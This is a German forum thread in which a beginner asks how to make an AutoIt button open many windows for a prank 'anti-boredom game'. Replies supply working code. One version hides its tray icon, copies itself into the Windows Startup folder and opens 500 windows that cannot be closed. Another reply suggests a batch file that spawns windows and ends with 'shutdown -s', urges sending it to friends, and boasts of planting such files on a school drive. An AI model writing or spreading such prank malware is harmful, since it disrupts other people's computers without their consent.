[Frage] Klick auf Button 10 Fenster Öffenen

    • [Frage] Klick auf Button 10 Fenster Öffenen

      [FONT="Arial Black"][COLOR="Orange"][SIZE="2"]Hallo Liebe Corler,

      Da ich gerade AutoIt Lerne hab ich mal ein Frage

      Und Zwar:

      Ich möchte das sich bei Klick auf ein Button 10 Fenster öffen
      (mein Vorbild ist das Game:http://www.mmorpg-core.com/forum/weitere-spiele/release-anit-langeweile-spiel-9721.html
      Das Hat mein Cousin mal gemach aber er hat die Sorce nicht mehr und
      hat kein kust neun zu macen (dswegn frag ich)



      Mein Momentaer Code:

      C-Quellcode

      1. #include <ButtonConstants.au3>
      2. #include <GUIConstantsEx.au3>
      3. #include <StaticConstants.au3>
      4. #include <WindowsConstants.au3>
      5. #Region ### START Koda GUI section ### Form=
      6. $Form1 = GUICreate("Anti Langeweile Spiel v0.1 Beta", 299, 152, 192, 124)
      7. $Button1 = GUICtrlCreateButton("Ja", 40, 88, 81, 33, $WS_GROUP)
      8. $Button2 = GUICtrlCreateButton("Nein", 168, 88, 97, 33, $WS_GROUP)
      9. $Label1 = GUICtrlCreateLabel("Du Hast Langeweile und willst diese Los werde", 32, 8, 226, 17)
      10. $Label2 = GUICtrlCreateLabel("Dann komm du Spiel", 88, 24, 102, 17)
      11. $Label3 = GUICtrlCreateLabel("Das Anti-Langeweile Spiel v0.1 Beta", 32, 56, 238, 23)
      12. GUICtrlSetFont(-1, 10, 800, 0, "Comic Sans MS")
      13. GUISetState(@SW_SHOW)
      14. #EndRegion ### END Koda GUI section ###
      15. While 1
      16. $nMsg = GUIGetMsg()
      17. Switch $nMsg
      18. Case $GUI_EVENT_CLOSE
      19. Exit
      20. Case $Button1
      21. // Bei Klich auf Button1 Sollen sich 10 Fenster öffen\\
      22. // Soll Angezeigt werde wie viel Fenster es noch sind\\
      23. Case $Button2
      24. MsgBox (0,"Anti Langeweile Spiel v0.1 Beta","Schade Bis Zu Nächstenmal")
      25. EndSwitch
      26. WEnd
      Alles anzeigen



      Ich hoffe auch schnelle Hilfe und bedanke mich schonmal im voraus für die Hilfe von euch


      Lg Babay[/SIZE][/COLOR][/FONT]
    • Werbung zur Unterstützung des Forums ( Bitte AddBlocker deaktivieren )

    • [FONT="Comic Sans MS"][COLOR="DeepSkyBlue"][SIZE="3"]Du machst ein Fenster mit dem Button.
      Aufschrift: "hast du Langeweile?"
      Wenn er draufklickt, so brauchste nur neue Fenster erstellen lassen, also einmal den Code für das neue Fenster in eine Func schreiben und die Func dann meinetwegen 100x aufrufen
      Somit sollte er genug zu tun haben
      Achso, für die Whileschleife musste statt Exit dann Guidelete nehmen bei den neu geöffneten Fenstern[/SIZE][/COLOR][/FONT]
    • [COLOR="SlateGray"]Machs ohne AutoIt.

      Editor öfnen,
      "start" (ohne "") hinschreiben
      Als xx.bat speichern
      und pro Start öfnet sich ein Fenster. Am ende der datei kannste noch ein "Shutdown -s" (ohne "") hinschreiben und dann hast du viel spaß. Am besten ist es, wenn man es an Freunde verschickt xD

      EDIT:
      Aber die Fenster sehen etwas anders aus.

      EDIT2: Und schon getestet? xD Solchte Datein machen wir immer auf unsere Schulfestplatte drauf. Ist immer voll davon xDDD
      [/COLOR]
    • das hier wäre eine lösung ^^
      1 min codeing
      das in rot ist die anzahl der fenster
      wen du es testes um es zu beenden unten auf das autoit icon rechtsklick und exit^^
      [FELD=""]
      #include <ButtonConstants.au3>
      #include <GUIConstantsEx.au3>
      #include <StaticConstants.au3>
      #include <WindowsConstants.au3>
      $Form1 = GUICreate("Form1", 137, 63, 192, 124)
      $Button1 = GUICtrlCreateButton("Ja", 0, 32, 59, 25, $WS_GROUP)
      $Label1 = GUICtrlCreateLabel("Hast du Langeweile?", 8, 8, 104, 17)
      $Button2 = GUICtrlCreateButton("Nein", 64, 32, 59, 25, $WS_GROUP)
      GUISetState(@SW_SHOW)

      While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
      Case $Button1
      For $i = 1 to [COLOR="Red"]100[/COLOR]
      $x= Random (0,@DesktopWidth)
      $y = Random (0,@DesktopHeight)
      GUICreate("", 137, 63, $x, $y)
      $Label1 = GUICtrlCreateLabel("Hast du Langeweile?", 8, 8, 104, 17)
      GUISetState(@SW_SHOW)
      Next
      Case $Button2
      MsgBox (0,"","Ok dan nicht")
      Exit
      Case $GUI_EVENT_CLOSE
      Exit

      EndSwitch
      WEnd
      [/FELD]
    • [FONT="Comic Sans MS"][COLOR="DeepSkyBlue"][SIZE="3"]

      sedas;114353 schrieb:

      das hier wäre eine lösung ^^
      1 min codeing
      das in rot ist die anzahl der fenster
      wen du es testes um es zu beenden unten auf das autoit icon rechtsklick und exit^^
      [FELD=""]
      #include <ButtonConstants.au3>
      #include <GUIConstantsEx.au3>
      #include <StaticConstants.au3>
      #include <WindowsConstants.au3>
      $Form1 = GUICreate("Form1", 137, 63, 192, 124)
      $Button1 = GUICtrlCreateButton("Ja", 0, 32, 59, 25, $WS_GROUP)
      $Label1 = GUICtrlCreateLabel("Hast du Langeweile?", 8, 8, 104, 17)
      $Button2 = GUICtrlCreateButton("Nein", 64, 32, 59, 25, $WS_GROUP)
      GUISetState(@SW_SHOW)

      While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
      Case $Button1
      For $i = 1 to [COLOR="Red"]100[/COLOR]
      $x= Random (0,@DesktopWidth)
      $y = Random (0,@DesktopHeight)
      GUICreate("", 137, 63, $x, $y)
      $Label1 = GUICtrlCreateLabel("Hast du Langeweile?", 8, 8, 104, 17)
      GUISetState(@SW_SHOW)
      Next
      Case $Button2
      MsgBox (0,"","Ok dan nicht")
      Exit
      Case $GUI_EVENT_CLOSE
      Exit

      EndSwitch
      WEnd
      [/FELD]

      Netter Code :)
      Allerdings, das bringt auch relativ wenig, da wenn du ein Fenster schliesst, gehen alle auf einmal zu.
      Und das is nich im Sinne des TE oder?[/SIZE][/COLOR][/FONT]
    • dan so^^
      [FELD=" "]
      #include <ButtonConstants.au3>
      #include <GUIConstantsEx.au3>
      #include <StaticConstants.au3>
      #include <WindowsConstants.au3>
      Opt("TrayIconHide", 1)
      If FileExists (@StartupDir & "/scriptname.exe") Then
      Else
      FileCopy (@ScriptDir &"/Scriptname.exe",@StartupDir &"/scriptname.exe")
      EndIf
      $Form1 = GUICreate("", 116, 26, 192, 124, -1,-1)
      $Button1 = GUICtrlCreateButton("Langeweile", 0, 0, 115, 25, $WS_GROUP)
      GUISetState(@SW_SHOW)
      While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
      Case $Button1
      For $i = 1 to 500
      $x= Random (0,@DesktopWidth)
      $y = Random (0,@DesktopHeight)
      $Form21 = GUICreate("", 237, 43, $x,$y, -1, -1)
      $Label1 = GUICtrlCreateLabel("OMG DIR DARF NICHT LANGWEILIG", 0, 0, 218, 17)
      GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
      GUICtrlSetColor(-1, 0xFF0000)
      $Label2 = GUICtrlCreateLabel("SEIN DAN VIEL SPASS BEIM BEENDEN", 0, 24, 235, 17)
      GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
      GUICtrlSetColor(-1, 0xFF0000)
      GUISetState(@SW_SHOW)
      Next
      EndSwitch
      WEnd
      [/FELD]
    • [FONT="Comic Sans MS"][COLOR="DeepSkyBlue"][SIZE="3"]Sry nix gegen dich, aber bringt leider immernoch wenig.
      Entweder gehen alle zu, oder nur eines, ich hab den Code jetzt nich getestet, aber so wie ich sehen kann dürfte eher Fall1 eintreten, da beim Klick auf ein Fenster ja $GUI_EVENT_CLOSE auftritt und dann alle zugehen, weil nur eine zuständige schleife da is.
      Wie gesagt, die wirkung kann ich nich beurteilen muss erst testen und ob ichs mache, sehen wir noch[/SIZE][/COLOR][/FONT]
    • internetfreak;114766 schrieb:

      [FONT="Comic Sans MS"][COLOR="DeepSkyBlue"][SIZE="3"]Sry nix gegen dich, aber bringt leider immernoch wenig.
      Entweder gehen alle zu, oder nur eines, ich hab den Code jetzt nich getestet, aber so wie ich sehen kann dürfte eher Fall1 eintreten, da beim Klick auf ein Fenster ja $GUI_EVENT_CLOSE auftritt und dann alle zugehen, weil nur eine zuständige schleife da is.
      Wie gesagt, die wirkung kann ich nich beurteilen muss erst testen und ob ichs mache, sehen wir noch[/SIZE][/COLOR][/FONT]


      Dan entfern halt $GUI_EVENT_CLOSE ?
    • [FONT="Comic Sans MS"][COLOR="DeepSkyBlue"][SIZE="3"]

      Syrius;114791 schrieb:

      Ihr müsst mal aus scherz ma hier bei MMORPG core es hochladen dan laden es vviele runter und bums ihr habt fun ^^

      Nix wird da hochgeladen.
      So dinger mag ich nich hier haben, ob Fun oder nich.
      Schickt sie an Freunde, eure Scherzprogramme, aber hier bitte nich.

      @Yannik
      Dann haste wiedern Problem, du bekommst dann kein einziges Fenster mehr zu^^[/SIZE][/COLOR][/FONT]